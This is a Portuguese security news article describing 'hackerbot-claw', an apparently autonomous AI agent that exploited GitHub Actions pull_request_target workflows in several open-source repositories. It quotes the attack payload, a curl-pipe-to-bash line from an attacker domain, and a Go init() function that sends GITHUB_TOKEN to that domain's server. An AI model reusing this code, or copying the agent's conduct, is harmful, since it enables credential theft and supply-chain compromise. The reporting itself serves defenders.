Hackerbot-Claw: Bot de IA Explorando Fluxos de Trabalho do GitHub Actions

Detalhes da Campanha de Ataque
Entre 21 de fevereiro e 28 de fevereiro de 2026, uma conta do GitHub chamada hackerbot-claw escaneou sistematicamente repositórios públicos em busca de fluxos de trabalho do GitHub Actions exploráveis. A conta se descreve como um "agente de pesquisa de segurança autônomo alimentado por claude-opus-4-5" e solicita doações em criptomoedas.
Durante 7 dias, ela:
- Direcionou pelo menos 6 repositórios pertencentes à Microsoft, DataDog, CNCF e projetos populares de código aberto
- Abriu mais de 12 pull requests e acionou fluxos de trabalho nos alvos
- Alcançou execução arbitrária de código em pelo menos 4 deles
- Exfiltrou um GITHUB_TOKEN com permissões de escrita para um servidor externo
Alvos e Metodologia
Os alvos incluíram:
- microsoft/ai-discovery-agent
- DataDog/datadog-iac-scanner
- avelino/awesome-go (140k+ estrelas)
- ambient-code/platform
- project-akri/akri (um projeto CNCF)
Cada ataque entregou a mesma carga útil: curl -sSfL hackmoltrepeat.com/molt | bash, mas cada um usou uma técnica completamente diferente para executá-la.
O README do bot revela sua metodologia: ele carrega um "índice de padrões de vulnerabilidade" com 9 classes e 47 subpadrões, depois escaneia, verifica e implanta provas de conceito de exploração de forma autônoma. Seu log de "Atividade Recente" mostra 5 sessões bem-sucedidas nos 2 dias anteriores à análise.
Ataque 1: avelino/awesome-go - Roubo de Token via Script Go Envenenado
O ataque mais prejudicial da campanha explorou a clássica vulnerabilidade "Pwn Request" - um fluxo de trabalho pull_request_target que faz checkout de código de fork não confiável e o executa.
Fluxo de trabalho alvo: Verificações de Qualidade de PR - acionado automaticamente em cada PR, ele faz checkout do código do autor do PR e executa go run ./.github/scripts/check-quality/.
O ataque: O invasor injetou uma função init() em Go no script de verificação de qualidade. Em Go, init() é executada automaticamente antes de main(), então o código malicioso é executado antes de qualquer verificação legítima.
Na tentativa final e mais perigosa (PR #6069), a carga útil não apenas executou comandos arbitrários - ela exfiltrou o GITHUB_TOKEN para um servidor externo:
func init() {
_ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
`https://recv.hackmoltrepeat.com/ && ` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}O invasor iterou 6 vezes ao longo de 18 horas (PR #6058, #6059, #6060, #6061, #6068, #6069), refinando a abordagem a cada vez. As primeiras 4 tentativas falharam devido a problemas de git fetch, mas as tentativas 5 e 6 tiveram sucesso.
📖 Leia a fonte completa: HN AI Agents
👀 See Also

A ferramenta Cloak substitui senhas de chat por links autodestrutivos para agentes OpenClaw.
Cloak é uma ferramenta de código aberto que substitui senhas compartilhadas no chat com agentes OpenClaw por links autodestrutivos. Cada link só pode ser aberto uma vez, depois a senha desaparece, impedindo que senhas se acumulem nos históricos de chat.

Violação de Segurança da OpenClaw: 42.000 Instâncias Expostas
A OpenClaw sofreu uma falha de segurança significativa, expondo 42.000 instâncias com 341 habilidades maliciosas. A resposta rápida envolveu a criação do AgentVault, um proxy de segurança.

Microsoft Hackeado: Malware Plantado em Repositórios do GitHub Visa Usuários do Claude e Gemini
Microsoft derrubou mais de 70 repositórios próprios no GitHub após invasores plantarem malware que rouba credenciais quando abertos em agentes de codificação de IA como Claude Code e Gemini CLI.

Benchmark de Segurança: 10 LLMs Testados Contra 211 Sondagens Adversariais
Um pesquisador de segurança testou 10 LLMs contra 211 ataques adversariais, descobrindo que a resistência à extração tem média de 85%, enquanto a resistência à injeção tem média de apenas 46,2%. Todos os modelos falharam completamente em ataques de injeção por delimitador, distração e estilo.